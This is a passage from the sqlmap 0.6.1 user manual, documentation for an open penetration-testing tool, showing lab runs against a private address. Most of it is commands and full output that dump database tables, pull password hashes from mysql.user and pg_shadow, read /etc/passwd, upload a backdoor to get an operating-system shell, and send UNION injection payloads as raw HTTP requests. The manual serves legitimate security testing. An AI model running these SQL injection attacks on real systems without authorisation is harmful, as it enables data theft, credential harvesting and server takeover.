$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
  -T users -D public -v 1

[...]
Database: public
Table: users
[5 entries]
+----+-----------------------------------------------+-------------------+
| id | name                                          | surname           |
+----+-----------------------------------------------+-------------------+
| 1  | luther                                        | blissett          |
| 2  | fluffy                                        | bunny             |
| 3  | wu                                            | ming              |
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
| 5  |                                               | nameisnull        |
+----+-----------------------------------------------+-------------------+

[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
192.168.1.121/dump/public/users.csv'
[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
192.168.1.121'

$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"id","name","surname"
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
```

```
"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
```

You can also provide the `-start` and/or the `-stop` option to limit the dump to a range of entries.

- `-start` specifies the first entry to enumerate
- `-stop` specifies the last entry to enumerate

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
  -T users -D test --start 2 --stop 4

Database: test
Table: users
[3 entries]
+----+-----------------------------------------------+-------------------+
| id | name                                          | surname           |
+----+-----------------------------------------------+-------------------+
| 2  | fluffy                                        | bunny             |
| 3  | wu                                            | ming              |
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
+----+-----------------------------------------------+-------------------+
```

As you can see, sqlmap is very flexible: you can leave it automatically enumerate the whole database table up to a single column of a specific table entry.

5.4.11 Dump all databases tables entries

Options: `-dump-all` and `-exclude-sysdbs`

It is possible to dump all databases tables entries at once.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all

Database: test
Table: users
[5 entries]
+----+-----------------------------------------------+-------------------+
| id | name                                          | surname           |
+----+-----------------------------------------------+-------------------+
| 1  | luther                                        | blissett          |
| 2  | fluffy                                        | bunny             |
| 3  | wu                                            | ming              |
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
| 5  | NULL                                          | nameisnull        |
+----+-----------------------------------------------+-------------------+

Database: information_schema
Table: CHARACTER_SETS
[36 entries]
```

```
+--------------------+----------------------+-----------------------------+--------+
| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION                 | MAXLEN |
+--------------------+----------------------+-----------------------------+--------+
| tis620             | tis620_thai_ci       | TIS620 Thai                 | 1      |
| macroman           | macroman_general_ci  | Mac West European           | 1      |
| dec8               | dec8_swedish_ci      | DEC West European           | 1      |
| ujis               | ujis_japanese_ci     | EUC-JP Japanese             | 3      |
| eucjpms            | eucjpms_japanese_ci  | UJIS for Windows Japanese   | 3      |
| armscii8           | armscii8_general_ci  | ARMSCII-8 Armenian          | 1      |
| ucs2               | ucs2_general_ci      | UCS-2 Unicode               | 2      |
| hp8                | hp8_english_ci       | HP West European            | 1      |
| latin2             | latin2_general_ci    | ISO 8859-2 Central European | 1      |
| koi8u              | koi8u_general_ci     | KOI8-U Ukrainian            | 1      |
| keybcs2            | keybcs2_general_ci   | DOS Kamenicky Czech-Slovak  | 1      |
| ascii              | ascii_general_ci     | US ASCII                    | 1      |
| cp866              | cp866_general_ci     | DOS Russian                 | 1      |
| cp1256             | cp1256_general_ci    | Windows Arabic              | 1      |
| macce              | macce_general_ci     | Mac Central European        | 1      |
| sjis               | sjis_japanese_ci     | Shift-JIS Japanese          | 2      |
| geostd8            | geostd8_general_ci   | GEOSTD8 Georgian            | 1      |
| cp1257             | cp1257_general_ci    | Windows Baltic              | 1      |
| cp852              | cp852_general_ci     | DOS Central European        | 1      |
| euckr              | euckr_korean_ci      | EUC-KR Korean               | 2      |
| cp1250             | cp1250_general_ci    | Windows Central European    | 1      |
| cp1251             | cp1251_general_ci    | Windows Cyrillic            | 1      |
| binary             | binary               | Binary pseudo charset       | 1      |
| big5               | big5_chinese_ci      | Big5 Traditional Chinese    | 2      |
| gb2312             | gb2312_chinese_ci    | GB2312 Simplified Chinese   | 2      |
| hebrew             | hebrew_general_ci    | ISO 8859-8 Hebrew           | 1      |
| koi8r              | koi8r_general_ci     | KOI8-R Relcom Russian       | 1      |
| greek              | greek_general_ci     | ISO 8859-7 Greek            | 1      |
| cp850              | cp850_general_ci     | DOS West European           | 1      |
| utf8               | utf8_general_ci      | UTF-8 Unicode               | 3      |
| latin1             | latin1_swedish_ci    | cp1252 West European        | 1      |
| latin7             | latin7_general_ci    | ISO 8859-13 Baltic          | 1      |
| cp932              | cp932_japanese_ci    | SJIS for Windows Japanese   | 2      |
| latin5             | latin5_turkish_ci    | ISO 8859-9 Turkish          | 1      |
| swe7               | swe7_swedish_ci      | 7bit Swedish                | 1      |
| gbk                | gbk_chinese_ci       | GBK Simplified Chinese      | 2      |
+--------------------+----------------------+-----------------------------+--------+

[...]
```

You can also provide the `-exclude-sysdbs` option to exclude all system databases so that sqlmap will only dump entries of users' databases tables.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
  --exclude-sysdbs

Database: master
Table: spt_datatype_info_ext
[10 entries]
+---------------+-----------------+-----------+-----------+
```

```
| AUTO_INCREMENT | CREATE_PARAMS   | typename  | user_type |
+----------------+-----------------+-----------+-----------+
| 0              | length          | char      | 175       |
| 0              | precision,scale | numeric   | 108       |
| 0              | max length      | varbinary | 165       |
| 0              | precision,scale | decimal   | 106       |
| 1              | precision       | numeric   | 108       |
| 0              | length          | nchar     | 239       |
| 0              | max length      | nvarchar  | 231       |
| 0              | length          | binary    | 173       |
| 0              | max length      | varchar   | 167       |
| 1              | precision       | decimal   | 106       |
+----------------+-----------------+-----------+-----------+

[...]

Database: master
Table: users
[5 entries]
+----+---------------------------------------------+-------------------+
| id | name                                        | surname           |
+----+---------------------------------------------+-------------------+
| 4  | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
| 2  | fluffy                                      | bunny             |
| 1  | luther                                      | blisset           |
| 3  | wu                                          | ming              |
| 5  | NULL                                        | nameisnull        |
+----+---------------------------------------------+-------------------+

[...]
```

Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

5.4.12 Run your own SQL SELECT statement

Options: `-sql-query` and `-sql-shell`

The SQL query and the SQL shell features makes the user able to run whatever `SELECT` statement on the web application's back-end database management system and retrieve its output.

Examples on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
  "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:14] [INFO] retrieved: foo
[hh:mm:14] [INFO] performed 27 queries in 0 seconds
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
```

```
  "SELECT 'foo', 'bar'" -v 1

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'
```

As you can see from this last example, sqlmap splits the query in two different SELECT statement to be able to retrieve the output even in blind SQL injection technique. Otherwise in inband SQL injection technique it only perform a single HTTP request to get the user's query output:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --sql-query \
  "SELECT 'foo', 'bar'" -v 1 --union-use

[...]
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:03] [INFO] query:  UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
CHAR(116)), NULL-- AND 8373=8373
[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
```

Examples on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --sql-query \
  "SELECT 'foo' FROM dual"

[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
SELECT 'foo' FROM dual:    'foo'
```

As you can see, if your SELECT statement contains a FROM clause, sqlmap asks the user if such statement can return multiple entries and in such case the tool knows how to unpack the query correctly to retrieve its whole output line per line.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-query \
```

```
  "SELECT usename FROM pg_user"

[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
```

As you can see, in the last example sqlmap counts the number of entries for your query and asks how many entries from the top you want to dump. Otherwise if you specify also the `LIMIT`, or similar, clause sqlmap will not ask anything, just unpack the query and return its output.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-query \
  "SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1

[...]
back-end DBMS:  MySQL >= 5.0.0

[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
mysql.user LIMIT 1, 3'
[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
it into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: root
[hh:mm:12] [INFO] performed 34 queries in 0 seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: localhost
[hh:mm:12] [INFO] performed 69 queries in 0 seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:13] [INFO] performed 293 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: root
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: leboyer
[hh:mm:13] [INFO] performed 55 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:14] [INFO] performed 293 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
```

```
[hh:mm:14] [INFO] retrieved: root
[hh:mm:14] [INFO] performed 34 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: 127.0.0.1
[hh:mm:14] [INFO] performed 69 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:15] [INFO] performed 293 queries in 0 seconds
SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, 127.0.0.1, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
```

The SQL shell option gives you access to run your own SQL SELECT statement interactively, like a SQL console logged into the back-end database management system. This feature has TAB completion and history support.

Example of history support on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell

sql> SELECT 'foo'
SELECT 'foo':    'foo'

sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
sql> SELECT version()
SELECT version():    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3
(Ubuntu 4.2.3-2ubuntu4)'

sql> exit

$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --sql-shell

sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice:
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
[*] testuser2,
```

Example of TAB completion on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell

sql> [TAB TAB]
AND ORD(MID((%s), %d, 1)) > %d
```

```
CAST(%s AS CHAR(10000))
COUNT(%s)
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
VERSION()
sql> SE[TAB]
sql> SELECT
```

As you can see the TAB functionality shows the queries defined for the back-end database management system in sqlmap XML queries file, but you can run whatever SELECT statement that you want.

Example of asterisk expansion on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --sql-shell \
  -v 1

[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column
names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [INFO] performed 20 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [INFO] performed 34 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
```

```
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
```

As you can see in this last example, if the SELECT statement has an asterisk instead of the column(s) name, sqlmap first retrieves the column names of the table then asks if the query can return multiple entries and goes on.

5.5 File system access

5.5.1 Read a specific file content

Option: `-read-file`

If the back-end database management system is MySQL and the current user has access to the `LOAD_FILE()` function, it is possible to read the content of a specific file from the file system.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
  --read-file /etc/passwd

/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
---
```

5.6 Operating system access

5.6.1 Prompt for an interactive operating system shell

Option: `-os-shell`

If the back-end database management system is MySQL, the web application's programming language is PHP and you, or sqlmap itself, found a writable directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" \
  --os-shell
```

```
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
you want sqlmap to try to upload the agent [/var/www/test]:
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
right now? [Y/n] y
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
```

As you might notice, such operating system shell has the same functionalities of SQL shell.

5.7 Miscellaneous

5.7.1 Test for UNION SELECT query SQL injection

Option: `-union-test`

It is possible to test if the target URL is affected by an **inband SQL injection** vulnerability. Refer to the *Techniques* section for details on this SQL injection technique.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
  --union-test -v 1

[...]
back-end DBMS:  Oracle

[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
```

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
  --union-test -v 1

[...]
back-end DBMS:  PostgreSQL

[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union:    'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
NULL, NULL, NULL-- AND 'QOAtA'='QOAtA&cat=2'
```

As you can see, the target URL parameter `id` might be also affected by an inband SQL injection. In case this vulnerability is exploitable it is strongly recommended to use it.

5.7.2 Use the UNION SELECT query SQL injection

Option: `-union-use`

Providing the `-union-use` parameter, sqlmap will first test if the target URL is affected by an **inband SQL injection** (`-union-test`) vulnerability then, in case it is vulnerable and exploitable, it will trigger this vulnerability to retrieve the output of the `SELECT` queries.

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
  --union-use --banner

[...]
back-end DBMS:  Microsoft SQL Server 2000

[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:42] [INFO] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
[hh:mm:42] [INFO] performed 3 queries in 0 seconds
banner:
---
Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
    Aug  6 2000 00:57:48
    Copyright (c) 1988-2000 Microsoft Corporation
    Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
---
```

As you can see, the vulnerable parameter (`id`) is affected by both blind SQL injection and exploitable inband SQL injection vulnerabilities.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
  --union-use --banner

[...]
[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:25] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)),CHAR(122,110,105,89,121,65)), NULL--
AND 6043=6043
[hh:mm:25] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
06043=6043&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
Date: Mon, 28 Jul 2008 22:34:25 GMT
```

```
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 194
Connection: close
Content-Type: text/html

<html><body>
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
<tr><td></td><td>blLOjN5.0.51a-3ubuntu5.2zniYyA</td><td></td></tr>
</table>
</body></html>

[hh:mm:25] [INFO] performed 3 queries in 0 seconds
banner:    '5.0.51a-3ubuntu5.2'
```

As you can see, the MySQL `version()` function (banner) output is nested (inband) within the HTTP response page, this makes the inband SQL injection exploitable.

5.7.3 Estimated time of arrival

Option: `-eta`

It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.

Example on an **Oracle XE 10.2.0.1** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b \
  --eta -v 1

[...]
back-end DBMS:  Oracle

[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
output again
[hh:mm:24] [INFO] retrieved the length of query output: 64
[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
WHERE ROWNUM=1
77% [=====================================>            ] 49/64  ETA 00:00
```

then:

```
100% [================================================] 64/64
[hh:mm:15] [INFO] performed 454 queries in 2 seconds
banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
```

Example on a **Microsoft SQL Server 2000 Service Pack 0** target:

```
